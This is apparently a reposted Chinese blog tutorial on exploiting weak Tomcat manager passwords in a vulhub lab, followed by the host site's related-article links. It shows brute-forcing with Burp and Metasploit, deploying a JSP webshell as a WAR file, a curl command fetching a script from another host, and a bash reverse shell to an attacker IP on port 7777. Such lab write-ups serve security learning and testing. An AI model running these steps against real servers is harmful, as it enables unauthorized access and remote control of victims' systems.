Tomcat弱口令复现及利用


Posted in Servers onMay 06, 2022

漏洞描述

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+ 权限分为:
manager(后台管理)

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)

admin-gui 拥有html页面权限
admin-script 拥有text接口权限
二、漏洞影响
Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

复现

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

攻击流程

按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
首先是根据burpsuite进行爆破:
抓取请求数据包可以看到

Tomcat弱口令复现及利用

=其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
其次使用过msf进行爆破

Tomcat弱口令复现及利用

msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

Tomcat弱口令复现及利用

可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

利用

msf利用

这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

Tomcat弱口令复现及利用

所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

Tomcat弱口令复现及利用

反弹shell利用

整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

成功之后可以在这看到结果

之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

Tomcat弱口令复现及利用

反弹shell成功

参考文章

[1] https://blog.csdn.net/qq_33020901/article/details/98357659
[2] https://blog.csdn.net/weixin_44037296/article/details/116376114
[3] https://blog.csdn.net/qq_43665434/article/details/116903953
[4] https://www.cnblogs.com/henry666/p/14379888.html
[5]https://www.cnblogs.com/qianxinggz/p/13440366.html
[6]https://blog.csdn.net/weixin_42432317/article/details/90208213

到此这篇关于Tomcat弱口令复现及利用的文章就介绍到这了!


Tags in this post...

Servers 相关文章推荐
Nginx+Tomcat实现负载均衡、动静分离的原理解析
Mar 31 Servers
nginx搭建图片服务器的过程详解(root和alias的区别)
Mar 31 Servers
使用nginx配置访问wgcloud的方法
Jun 26 Servers
Consul在linux环境的集群部署
Apr 08 Servers
CentOS7安装GlusterFS集群以及相关配置
Apr 12 Servers
idea下配置tomcat避坑详解
Apr 12 Servers
安装Windows Server 2012 R2企业版操作系统并设置好相关参数
Apr 29 Servers
搭建Yolov5服务器
Apr 30 Servers
Nginx配置之禁止指定IP访问
May 02 Servers
Windows Server 2016服务器用户管理及远程授权图文教程
Aug 14 Servers
windows server2012 R2下安装PaddleOCR服务的的详细步骤
Sep 23 Servers
教你使用Ubuntu搭建DNS服务器
Sep 23 Servers
Vscode中SSH插件如何远程连接Linux
nginx配置限速限流基于内置模块
May 02 #Servers
Nginx配置之禁止指定IP访问
centos7安装mysql5.7经验记录
May 02 #Servers
使用 Docker Compose 构建复杂的多容器App
Apr 30 #Servers
搭建Yolov5服务器
KVM基础命令详解
Apr 30 #Servers
You might like
PHP.MVC的模板标签系统(三)
2006/09/05 PHP
PHP 伪静态隐藏传递参数名的四种方法
2010/02/22 PHP
php中使用base HTTP验证的方法
2015/04/20 PHP
Thinkphp5行为使用方法汇总
2017/12/21 PHP
浅谈javascript 函数内部属性
2015/01/21 Javascript
使用DNode实现php和nodejs之间通信的简单实例
2015/07/06 NodeJs
jQuery mobile 移动web(4)
2015/12/20 Javascript
IE8兼容Jquery.validate.js的问题
2016/12/01 Javascript
jquery广告无缝轮播实例
2017/01/05 Javascript
Angular2 之 路由与导航详细介绍
2017/05/26 Javascript
Node.js中 __dirname 的使用介绍
2017/06/19 Javascript
Vue的MVVM实现方法
2017/08/16 Javascript
ES6使用Set数据结构实现数组的交集、并集、差集功能示例
2017/10/31 Javascript
详解KOA2如何手写中间件(装饰器模式)
2018/10/11 Javascript
AngularJS上传文件的示例代码
2018/11/10 Javascript
关于在LayUI中使用AJAX提交巨坑记录
2019/10/25 Javascript
Vue 实现拨打电话操作
2020/11/16 Javascript
[03:57]《不朽》——2015DOTA2国际邀请赛—中国军团出征主题曲MV
2015/07/15 DOTA
简单谈谈python中的多进程
2016/11/06 Python
详解python3中socket套接字的编码问题解决
2017/07/01 Python
Python2.7基于笛卡尔积算法实现N个数组的排列组合运算示例
2017/11/23 Python
django限制匿名用户访问及重定向的方法实例
2018/02/07 Python
pandas DataFrame 交集并集补集的实现
2019/06/24 Python
Django基础知识 web框架的本质详解
2019/07/18 Python
sklearn-SVC实现与类参数详解
2019/12/10 Python
Python动态导入模块和反射机制详解
2020/02/18 Python
Python unittest单元测试框架及断言方法
2020/04/15 Python
Python根据字符串调用函数过程解析
2020/11/05 Python
zooplus意大利:在线宠物商店
2019/08/07 全球购物
法律讲堂观后感
2015/06/11 职场文书
2015年中秋节主持词
2015/07/30 职场文书
孙振耀退休感言
2015/08/01 职场文书
大学入学感言
2015/08/01 职场文书
python某漫画app逆向
2021/03/31 Python
基于Python实现将列表数据生成折线图
2022/03/23 Python
Win10/Win11 任务栏替换成经典样式
2022/04/19 数码科技